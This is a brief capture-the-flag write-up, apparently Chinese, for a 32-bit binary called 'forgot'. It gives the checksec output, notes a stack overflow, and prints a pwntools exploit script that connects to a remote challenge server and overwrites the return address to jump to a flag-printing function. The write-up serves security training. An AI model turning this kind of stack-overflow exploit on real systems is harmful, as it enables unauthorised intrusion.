checksec
kk@ubuntu:~/Desktop/black/GFSJ/forgot$ checksec forgot
[*] '/home/kk/Desktop/black/GFSJ/forgot/forgot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
ida
栈溢出
又找到了这个函数可以直接 cat flag
EXP如下
#!usr/bin/python
from pwn import *
io = remote("111.198.29.45", 54796)
# io = process("./forgot")
flag_addr = 0x080486CC
io.recv()
io.sendline("kk")
io.recv()
payload = "a" * 32 + "a" * 4 + p32(flag_addr)
io.sendline(payload)
io.interactive()
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